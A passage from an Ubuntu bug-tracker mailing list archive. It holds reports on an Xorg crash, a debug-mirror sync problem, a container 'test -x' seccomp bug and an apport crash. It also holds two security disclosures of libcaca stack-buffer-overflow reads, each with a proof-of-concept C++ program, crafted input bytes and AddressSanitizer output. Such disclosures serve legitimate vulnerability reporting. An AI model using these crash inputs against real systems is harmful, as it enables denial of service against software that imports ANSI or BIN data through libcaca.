(abort+0x12b) [0x7fae47683859]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) unw_get_proc_name failed: no unwind 
info found [-10]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 4: 
/usr/lib/x86_64-linux-gnu/dri/iris_dri.so (?+0x0) [0x7fae457d7aec]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 5: 
/usr/lib/x86_64-linux-gnu/dri/iris_dri.so (nouveau_drm_screen_create+0x25c8ec) 
[0x7fae46529c9c]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 6: 
/usr/lib/x86_64-linux-gnu/dri/iris_dri.so 
(__driDriverGetExtensions_zink+0x2561d) [0x7fae4582c74d]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 7: 
/usr/lib/xorg/modules/libglamoregl.so (glamor_destroy_pixmap+0x150) 
[0x7fae47007480]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) unw_get_proc_name failed: no unwind 
info found [-10]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 8: 
/usr/lib/xorg/modules/drivers/modesetting_drv.so (?+0x0) [0x7fae47040a30]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 9: /usr/lib/xorg/Xorg 
(BlockHandler+0xa5) [0x5619f38f0995]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 10: /usr/lib/xorg/Xorg 
(WaitForSomething+0x122) [0x5619f3a46c12]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 11: /usr/lib/xorg/Xorg 
(SendErrorToClient+0x117) [0x5619f38ebcf7]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 12: /usr/lib/xorg/Xorg 
(InitFonts+0x3b4) [0x5619f38effc4]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 13: /lib/x86_64-linux-gnu/libc.so.6 
(__libc_start_main+0xf3) [0x7fae476850b3]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 14: /usr/lib/xorg/Xorg (_start+0x2e) 
[0x5619f38d9a2e]

  More info:
  I searched the Internet and got a bug with the same stacktrace:
  https://gitlab.freedesktop.org/mesa/mesa/-/issues/3468

To manage notifications about this bug go to:
https://bugs.launchpad.net/mesa/+bug/1918855/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1924757] Re: Ubuntu debug mirror is out of sync

[Jan Feuchthofen]

** Package changed: ubuntu => mesa (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1924757

Title:
  Ubuntu debug mirror is out of sync

Status in mesa package in Ubuntu:
  Confirmed

Bug description:
  lsb_release -rd
  Description:  Ubuntu 20.04.2 LTS
  Release:  20.04

  When using the Ubuntu debug mirror (ddebs.ubuntu.com) and the official
  mirror (archive.ubuntu.com), it is not possible to install some debug
  symbols.

  For example:

  apt install mesa-vulkan-drivers-dbgsym
  Reading package lists... Done
  Building dependency tree   
  Reading state information... Done
  Some packages could not be installed. This may mean that you have
  requested an impossible situation or if you are using the unstable
  distribution that some required packages have not yet been created
  or been moved out of Incoming.
  The following information may help to resolve the situation:

  The following packages have unmet dependencies:
   mesa-vulkan-drivers-dbgsym : Depends: mesa-vulkan-drivers (= 
20.0.4-2ubuntu1) but 20.2.6-0ubuntu0.20.04.1 is to be installed
  E: Unable to correct problems, you have held broken packages.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1924757/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1916485] Comment bridged from LTC Bugzilla

[bugproxy]

--- Comment From s...@de.ibm.com 2021-04-22 07:23 EDT---
Hi,
I've also run some tests on s390x:

On Ubuntu 18.04 (bionic) with libseccomp2 2.5.1-1ubuntu1~18.04.1 and linux 
4.15.0.142.129:
In a systemd-nspawn hirsute container:
bash -c "test -x /bin/bash"
returns 1 and strace shows:
faccessat2(AT_FDCWD, "/bin/bash", X_OK, AT_EACCESS) = -1 EPERM (Operation not 
permitted)
and seccomp-tools dump showed that the seccomp-filter allows faccessat2(=0x1b7) 
syscall!

After upgrading to 4.15.0-143-generic #147+hf1916485v20210421b1 from your PPA, 
the command works fine:
faccessat2(AT_FDCWD, "/bin/bash", X_OK, AT_EACCESS) = -1 ENOSYS (Function not 
implemented)
faccessat(AT_FDCWD, "/bin/bash", X_OK)  = 0

In a "docker run -it ubuntu:hirsute /bin/bash" container
(runc-1.0.0~rc93-0ubuntu1~18.04.1), the command also works fine and the
seccomp-filter applied by docker also allows faccessat2.

On Ubuntu 20.10 (groovy) with libseccomp2 2.5.1-1ubuntu1~20.10.1 and linux 
5.8.0.51.56, both the tests in systemd-nspawn and in docker container are 
working fine and the dump of the seccomp-filter shows that faccessat2 is 
allowed.
(On the same system before updating libseccomp2 to the mentioned version, 
libseccomp2 2.4.3-1ubuntu4 was used. There the dump of the seccomp-filter 
showed that the faccessat2 syscall was not allowed and thus the test command 
failed.)

Thanks.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1916485

Title:
  test -x fails inside shell scripts in containers

Status in Ubuntu on IBM z Systems:
  New
Status in docker.io package in Ubuntu:
  New
Status in glibc package in Ubuntu:
  Opinion
Status in libseccomp package in Ubuntu:
  Fix Committed
Status in runc package in Ubuntu:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in docker.io source package in Xenial:
  New
Status in libseccomp source package in Xenial:
  New
Status in runc source package in Xenial:
  New
Status in systemd source package in Xenial:
  Invalid
Status in docker.io source package in Bionic:
  New
Status in libseccomp source package in Bionic:
  New
Status in runc source package in Bionic:
  Fix Released
Status in systemd source package in Bionic:
  Fix Released
Status in docker.io source package in Focal:
  New
Status in libseccomp source package in Focal:
  New
Status in runc source package in Focal:
  Fix Released
Status in systemd source package in Focal:
  Fix Released
Status in docker.io source package in Groovy:
  New
Status in libseccomp source package in Groovy:
  New
Status in runc source package in Groovy:
  Fix Released
Status in systemd source package in Groovy:
  Fix Released
Status in docker.io source package in Hirsute:
  New
Status in libseccomp source package in Hirsute:
  Fix Committed
Status in runc source package in Hirsute:
  Fix Released
Status in systemd source package in Hirsute:
  Fix Released
Status in systemd package in Debian:
  Fix Released

Bug description:
  (SRU template for systemd)

  [impact]

  bash (and some other shells) builtin test command -x operation fails

  [test case]

  on any affected host system, start nspawn container, e.g.:

  $ sudo apt install systemd-container
  $ wget 
https://cloud-images.ubuntu.com/hirsute/current/hirsute-server-cloudimg-amd64-root.tar.xz
  $ mkdir h
  $ cd h
  $ tar xvf ../hirsute-server-cloudimg-amd64-root.tar.xz
  $ sudo systemd-nspawn

  Then from a bash shell, verify if test -x works:

  root@h:~# ls -l /usr/bin/gpg
  -rwxr-xr-x 1 1000 1000 1083472 Jan 16 09:53 /usr/bin/gpg
  root@h:~# test -x /usr/bin/gpg || echo "fail"
  fail

  [regression potential]

  any regression would likely occur during a syscall, most likely
  faccessat2(), or during other syscalls.

  [scope]

  this is needed for b/f

  this is fixed upstream by commit
  bcf08acbffdee0d6360d3c31d268e73d0623e5dc which is in 247 and later, so
  this is fixed in h

  this was pulled into Debian at version 246.2 in commit
  e80c5e5371ab77792bae94e0f8c5e85a4237e6eb, so this is fixed in g

  in x, the entire systemd seccomp code is completely different and the
  patch doesn't apply, nor does it appear to be needed, as the problem
  doesn't reproduce in a h container under x.

  [other info]

  this needs fixing in libseccomp as well

  [original description]

  glibc regression causes test -x to fail inside scripts inside
  docker/podman, dash and bash are broken, mksh and zsh are fine:

  root@0df2ce5d7a46:/# test -x /usr/bin/gpg || echo Fail
  root@0df2ce5d7a46:/# dash -c "test -x /usr/bin/gpg || echo Fail"
  Fail
  root@0df2ce5d7a46:/# bash -c "test -x /usr/bin/gpg || echo Fail"
  Fail
  root@0df2ce5d7a46:/# mksh -c "test -x /usr/bin/gpg || echo Fail"
  root@0df2ce5d7a46:/# zsh -c "test -x /usr/bin/gpg || echo Fail"
  root@0df2ce5d7a46:/#

  root@0df2ce5d7a46:/# zsh -c "[ -x /usr/bin/gpg ] || echo Fail"
  root@0df2ce5d7a46:/# mksh -c "[ 

[Touch-packages] [Bug 1918855] Re: Xorg xserver got signal 6 to abort

[Andy Chi]

Reproduce with kernel cod/tip/drm-tip/2021-04-22 Mainline on hirsute.

** Attachment added: "sosreport-u-Inspiron-3891-2021-04-22-rurdrvj.tar.xz"
   
https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1918855/+attachment/5490976/+files/sosreport-u-Inspiron-3891-2021-04-22-rurdrvj.tar.xz

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1918855

Title:
  Xorg xserver got signal 6 to abort

Status in Mesa:
  Unknown
Status in OEM Priority Project:
  In Progress
Status in mesa package in Ubuntu:
  New

Bug description:
  I run checkbox job
  com.canonical.certification::memory/memory_stress_ng on focal, and the
  xserver stops unexpectedly with the following stacktrace:

  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 0: /usr/lib/xorg/Xorg 
(OsLookupColor+0x13c) [0x5619f3a4d59c]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 1: 
/lib/x86_64-linux-gnu/libpthread.so.0 (funlockfile+0x60) [0x7fae4786741f]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 2: /lib/x86_64-linux-gnu/libc.so.6 
(gsignal+0xcb) [0x7fae476a418b]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 3: /lib/x86_64-linux-gnu/libc.so.6 
(abort+0x12b) [0x7fae47683859]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) unw_get_proc_name failed: no unwind 
info found [-10]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 4: 
/usr/lib/x86_64-linux-gnu/dri/iris_dri.so (?+0x0) [0x7fae457d7aec]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 5: 
/usr/lib/x86_64-linux-gnu/dri/iris_dri.so (nouveau_drm_screen_create+0x25c8ec) 
[0x7fae46529c9c]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 6: 
/usr/lib/x86_64-linux-gnu/dri/iris_dri.so 
(__driDriverGetExtensions_zink+0x2561d) [0x7fae4582c74d]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 7: 
/usr/lib/xorg/modules/libglamoregl.so (glamor_destroy_pixmap+0x150) 
[0x7fae47007480]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) unw_get_proc_name failed: no unwind 
info found [-10]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 8: 
/usr/lib/xorg/modules/drivers/modesetting_drv.so (?+0x0) [0x7fae47040a30]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 9: /usr/lib/xorg/Xorg 
(BlockHandler+0xa5) [0x5619f38f0995]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 10: /usr/lib/xorg/Xorg 
(WaitForSomething+0x122) [0x5619f3a46c12]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 11: /usr/lib/xorg/Xorg 
(SendErrorToClient+0x117) [0x5619f38ebcf7]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 12: /usr/lib/xorg/Xorg 
(InitFonts+0x3b4) [0x5619f38effc4]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 13: /lib/x86_64-linux-gnu/libc.so.6 
(__libc_start_main+0xf3) [0x7fae476850b3]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 14: /usr/lib/xorg/Xorg (_start+0x2e) 
[0x5619f38d9a2e]

  More info:
  I searched the Internet and got a bug with the same stacktrace:
  https://gitlab.freedesktop.org/mesa/mesa/-/issues/3468

To manage notifications about this bug go to:
https://bugs.launchpad.net/mesa/+bug/1918855/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1918855] Re: Xorg xserver got signal 6 to abort

[You-Sheng Yang]

Attach also dmesg from drm-tip today, version
5.12.0-051200rc8drmtip20210422-generic on RKL SDP installed Focal. Also
using linux-firmware from upstream master HEAD.

** Attachment added: "journalctl.5.12.0-051200rc8drmtip20210422-generic.gz"
   
https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1918855/+attachment/5490974/+files/journalctl.5.12.0-051200rc8drmtip20210422-generic.gz

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1918855

Title:
  Xorg xserver got signal 6 to abort

Status in Mesa:
  Unknown
Status in OEM Priority Project:
  In Progress
Status in mesa package in Ubuntu:
  New

Bug description:
  I run checkbox job
  com.canonical.certification::memory/memory_stress_ng on focal, and the
  xserver stops unexpectedly with the following stacktrace:

  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 0: /usr/lib/xorg/Xorg 
(OsLookupColor+0x13c) [0x5619f3a4d59c]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 1: 
/lib/x86_64-linux-gnu/libpthread.so.0 (funlockfile+0x60) [0x7fae4786741f]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 2: /lib/x86_64-linux-gnu/libc.so.6 
(gsignal+0xcb) [0x7fae476a418b]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 3: /lib/x86_64-linux-gnu/libc.so.6 
(abort+0x12b) [0x7fae47683859]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) unw_get_proc_name failed: no unwind 
info found [-10]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 4: 
/usr/lib/x86_64-linux-gnu/dri/iris_dri.so (?+0x0) [0x7fae457d7aec]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 5: 
/usr/lib/x86_64-linux-gnu/dri/iris_dri.so (nouveau_drm_screen_create+0x25c8ec) 
[0x7fae46529c9c]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 6: 
/usr/lib/x86_64-linux-gnu/dri/iris_dri.so 
(__driDriverGetExtensions_zink+0x2561d) [0x7fae4582c74d]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 7: 
/usr/lib/xorg/modules/libglamoregl.so (glamor_destroy_pixmap+0x150) 
[0x7fae47007480]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) unw_get_proc_name failed: no unwind 
info found [-10]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 8: 
/usr/lib/xorg/modules/drivers/modesetting_drv.so (?+0x0) [0x7fae47040a30]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 9: /usr/lib/xorg/Xorg 
(BlockHandler+0xa5) [0x5619f38f0995]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 10: /usr/lib/xorg/Xorg 
(WaitForSomething+0x122) [0x5619f3a46c12]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 11: /usr/lib/xorg/Xorg 
(SendErrorToClient+0x117) [0x5619f38ebcf7]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 12: /usr/lib/xorg/Xorg 
(InitFonts+0x3b4) [0x5619f38effc4]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 13: /lib/x86_64-linux-gnu/libc.so.6 
(__libc_start_main+0xf3) [0x7fae476850b3]
  /usr/lib/gdm3/gdm-x-session[1425]: (EE) 14: /usr/lib/xorg/Xorg (_start+0x2e) 
[0x5619f38d9a2e]

  More info:
  I searched the Internet and got a bug with the same stacktrace:
  https://gitlab.freedesktop.org/mesa/mesa/-/issues/3468

To manage notifications about this bug go to:
https://bugs.launchpad.net/mesa/+bug/1918855/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1924757] [NEW] Ubuntu debug mirror is out of sync

[Launchpad Bug Tracker]

You have been subscribed to a public bug:

lsb_release -rd
Description:Ubuntu 20.04.2 LTS
Release:20.04

When using the Ubuntu debug mirror (ddebs.ubuntu.com) and the official
mirror (archive.ubuntu.com), it is not possible to install some debug
symbols.

For example:

apt install mesa-vulkan-drivers-dbgsym
Reading package lists... Done
Building dependency tree   
Reading state information... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:

The following packages have unmet dependencies:
 mesa-vulkan-drivers-dbgsym : Depends: mesa-vulkan-drivers (= 20.0.4-2ubuntu1) 
but 20.2.6-0ubuntu0.20.04.1 is to be installed
E: Unable to correct problems, you have held broken packages.

** Affects: mesa (Ubuntu)
 Importance: Undecided
 Status: Confirmed

-- 
Ubuntu debug mirror is out of sync
https://bugs.launchpad.net/bugs/1924757
You received this bug notification because you are a member of Ubuntu Touch 
seeded packages, which is subscribed to mesa in Ubuntu.

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1925478] [NEW] python3-apport will crash if current directory has been unlinked

[Håkan Kvist]

Public bug reported:

Description:Ubuntu 18.04.5 LTS
Release:18.04

I have also checked the code for Ubuntu 20 and the specific code looks
identical to me.


>From package:python3-apport
file: /usr/lib/python3/dist-packages/apport_python_hook.py

The follwing code will crash if current directory has been removed, os.getcwd() 
does not like that directory is gone:
# apport will look up the package from the executable path. 

   
try:
binary = os.path.realpath(os.path.join(os.getcwd(), sys.argv[0]))
except (TypeError, AttributeError, IndexError):
# the module has mutated sys.argv, plan B   

   
try:
binary = os.readlink('/proc/%i/exe' % os.getpid())
except OSError:
return


FileNotFoundError: [Errno 2] No such file or directory: '/tmp/tmp_6ehbyrh'
Error in sys.excepthook:
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/apport_python_hook.py", line 76, in 
apport_excepthook
binary = os.path.realpath(os.path.join(os.getcwd(), sys.argv[0]))
FileNotFoundError: [Errno 2] No such file or directory


The try-except condition above maybe should also contain FileNotFoundError to 
handle this error.

** Affects: apport (Ubuntu)
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1925478

Title:
  python3-apport will crash if current directory has been unlinked

Status in apport package in Ubuntu:
  New

Bug description:
  Description:  Ubuntu 18.04.5 LTS
  Release:  18.04

  I have also checked the code for Ubuntu 20 and the specific code looks
  identical to me.

  
  From package:python3-apport
  file: /usr/lib/python3/dist-packages/apport_python_hook.py

  The follwing code will crash if current directory has been removed, 
os.getcwd() does not like that directory is gone:
  # apport will look up the package from the executable path.   

 
  try:
  binary = os.path.realpath(os.path.join(os.getcwd(), sys.argv[0]))
  except (TypeError, AttributeError, IndexError):
  # the module has mutated sys.argv, plan B 

 
  try:
  binary = os.readlink('/proc/%i/exe' % os.getpid())
  except OSError:
  return

  
  FileNotFoundError: [Errno 2] No such file or directory: '/tmp/tmp_6ehbyrh'
  Error in sys.excepthook:
  Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/apport_python_hook.py", line 76, in 
apport_excepthook
  binary = os.path.realpath(os.path.join(os.getcwd(), sys.argv[0]))
  FileNotFoundError: [Errno 2] No such file or directory

  
  The try-except condition above maybe should also contain FileNotFoundError to 
handle this error.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1925478/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1925467] [NEW] stack-buffer-overflow of text.c in function _import_ansi

[xiao huang]

*** This bug is a security vulnerability ***

Public security bug reported:

Hello ubuntu security team
System info：
Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0
Fedora 33: clang 11.0.0 , gcc 10.2.1

libcaca version e4968ba

Verification steps：
1.Get the source code of libcaca
2.Compile the libcaca.so library

$ cd libcaca
$ ./bootstrap
$ ./configure
$ make
or

$ cd libcaca
$ ./bootstrap
$ ../configure CC="clang -O2 -fno-omit-frame-pointer -g 
-fsanitize=address,fuzzer-no-link  -fsanitize-coverage=bb" CXX="clang++ -O2 
-fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link  
-fsanitize-coverage=bb"
$ make
3.Create the poc_ansi.cc && build

#include "config.h"
#include "caca.h"
//#include "common-image.h"
#include 
#include 
#include 
#include 
#include 
#include 

using namespace std;

void crash(const uint8_t *Data, size_t Size) {

  if(Size<8) return ;
  size_t len=0;
  caca_canvas_t *cv;
  cv = caca_create_canvas(0,0);
  caca_create_frame(cv,0);
  caca_set_frame(cv,0);
  caca_import_canvas_from_memory(cv,Data,Size,"ansi");
  caca_free_canvas(cv);
  cv=NULL;

}


int main(int args,char* argv[]){

size_t  len = 0;
unsigned char buffer[] = 
{0x20,0x4a,0x0c,0x0a,0x20,0x0a,0x20,0x0c,0xc,0xc};
len = sizeof(buffer)/sizeof(unsigned char);
printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
crash((const uint8_t*)buffer,len);

return 0;

}
4.compile poc_ansi.cc

clang++ -g poc_ansi.cc -O2 -fno-omit-frame-pointer -fsanitize=address  
-I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/  -o poc_ansi
5.Run poc_ansi
asan info:

=
==3763372==ERROR: AddressSanitizer: stack-buffer-overflow on address 
0x7ffda0164bea at pc 0x7f098d82c310 bp 0x7ffda01647b0 sp 0x7ffda01647a8
READ of size 1 at 0x7ffda0164bea thread T0
#0 0x7f098d82c30f in _import_ansi 
/home/hh/Downloads/libcaca/caca/codec/text.c:391:38
#1 0x4c6c72 in crash(unsigned char const*, unsigned long) 
/home/hh/Downloads/libcaca/poc_bin.cc:21:3
#2 0x4c6c72 in main /home/hh/Downloads/libcaca/poc_bin.cc:34:9
#3 0x7f098d2780b2 in __libc_start_main 
/build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#4 0x41c38d in _start (/home/hh/Downloads/libcaca/poc_mbay+0x41c38d)

Address 0x7ffda0164bea is located in stack of thread T0 at offset 42 in frame
#0 0x4c6b9f in main /home/hh/Downloads/libcaca/poc_bin.cc:28

  This frame has 1 object(s):
[32, 42) 'buffer' (line 31) <== Memory access at offset 42 overflows this 
variable
HINT: this may be a false positive if your program uses some custom stack 
unwind mechanism, swapcontext or vfork
  (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow 
/home/hh/Downloads/libcaca/caca/codec/text.c:391:38 in _import_ansi
Shadow bytes around the buggy address:
  0x100034024920: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
  0x100034024930: f8 f8 f8 f8 f8 f8 f8 f8 f8 f2 f2 f2 f2 f2 f2 f2
  0x100034024940: f2 f2 f8 f2 f2 f2 f8 f3 f3 f3 f3 f3 00 00 00 00
  0x100034024950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100034024960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100034024970: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00[02]f3 f3
  0x100034024980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100034024990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000340249a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000340249b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000340249c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:   00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:   fa
  Freed heap region:   fd
  Stack left redzone:  f1
  Stack mid redzone:   f2
  Stack right redzone: f3
  Stack after return:  f5
  Stack use after scope:   f8
  Global redzone:  f9
  Global init order:   f6
  Poisoned by user:f7
  Container overflow:  fc
  Array cookie:ac
  Intra object redzone:bb
  ASan internal:   fe
  Left alloca redzone: ca
  Right alloca redzone:cb
  Shadow gap:  cc
==3763372==ABORTING
Thanks

** Affects: libcaca (Ubuntu)
 Importance: Undecided
 Status: New

** Information type changed from Public to Public Security

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libcaca in Ubuntu.
https://bugs.launchpad.net/bugs/1925467

Title:
  stack-buffer-overflow of text.c in function _import_ansi

Status in libcaca package in Ubuntu:
  New

Bug description:
  Hello ubuntu security team
  System info：
  Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0
  Fedora 33: clang 11.0.0 , gcc 10.2.1

  libcaca version e4968ba

  Verification steps：
  1.Get the source code of libcaca
  2.Compile the libcaca.so library

  $ cd libcaca
  $ 

[Touch-packages] [Bug 1925468] [NEW] stack-buffer-overflow of import.c in function _import_bin

[xiao huang]

*** This bug is a security vulnerability ***

Public security bug reported:

Hello ubuntu security team
System info：
Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0
Fedora 33: clang 11.0.0 , gcc 10.2.1

libcaca version e4968ba

Verification steps：
1.Get the source code of libcaca
2.Compile the libcaca.so library

$ cd libcaca
$ ./bootstrap
$ ./configure
$ make
or

$ cd libcaca
$ ./bootstrap
$ ../configure CC="clang -O2 -fno-omit-frame-pointer -g 
-fsanitize=address,fuzzer-no-link  -fsanitize-coverage=bb" CXX="clang++ -O2 
-fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link  
-fsanitize-coverage=bb"
$ make
3.Create the poc_bin.cc && build

#include "config.h"
#include "caca.h"
//#include "common-image.h"
#include 
#include 
#include 
#include 
#include 
#include 

using namespace std;

void crash(const uint8_t *Data, size_t Size) {

  if(Size<8) return ;
  size_t len=0;
  caca_canvas_t *cv;
  cv = caca_create_canvas(0,0);
  caca_create_frame(cv,0);
  caca_set_frame(cv,0);
  caca_import_canvas_from_memory(cv,Data,Size,"bin");
  caca_free_canvas(cv);
  cv=NULL;

}

int main(int args,char* argv[]){
size_t  len = 0;
unsigned char buffer[] = 
{0x0a,0x20,0x0a,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x47,0x47,0x47};
len = sizeof(buffer)/sizeof(unsigned char);
printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
crash((const uint8_t*)buffer,len);
return 0;

}
4.compile poc_bin.cc

clang++ -g poc_bin.cc -O2 -fno-omit-frame-pointer -fsanitize=address  -I./caca/ 
-lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/  -o poc_bin
5.Run poc_bin
asan info:

=
==3817476==ERROR: AddressSanitizer: stack-buffer-overflow on address 
0x7ffe7cd3774d at pc 0x7f8c6314acfd bp 0x7ffe7cd376c0 sp 0x7ffe7cd376b8
READ of size 1 at 0x7ffe7cd3774d thread T0
#0 0x7f8c6314acfc in _import_bin 
/home/hh/Downloads/libcaca/caca/codec/import.c:425:33
#1 0x4c6c72 in crash(unsigned char const*, unsigned long) 
/home/hh/Downloads/libcaca/poc_bin.cc:21:3
#2 0x4c6c72 in main /home/hh/Downloads/libcaca/poc_bin.cc:34:9
#3 0x7f8c62ba00b2 in __libc_start_main 
/build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#4 0x41c38d in _start (/home/hh/Downloads/libcaca/poc_bin+0x41c38d)

Address 0x7ffe7cd3774d is located in stack of thread T0 at offset 45 in frame
#0 0x4c6b9f in main /home/hh/Downloads/libcaca/poc_bin.cc:28

  This frame has 1 object(s):
[32, 45) 'buffer' (line 31) <== Memory access at offset 45 overflows this 
variable
HINT: this may be a false positive if your program uses some custom stack 
unwind mechanism, swapcontext or vfork
  (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow 
/home/hh/Downloads/libcaca/caca/codec/import.c:425:33 in _import_bin
Shadow bytes around the buggy address:
  0x10004f99ee90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004f99eea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004f99eeb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004f99eec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004f99eed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10004f99eee0: 00 00 00 00 f1 f1 f1 f1 00[05]f3 f3 00 00 00 00
  0x10004f99eef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004f99ef00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004f99ef10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004f99ef20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004f99ef30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:   00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:   fa
  Freed heap region:   fd
  Stack left redzone:  f1
  Stack mid redzone:   f2
  Stack right redzone: f3
  Stack after return:  f5
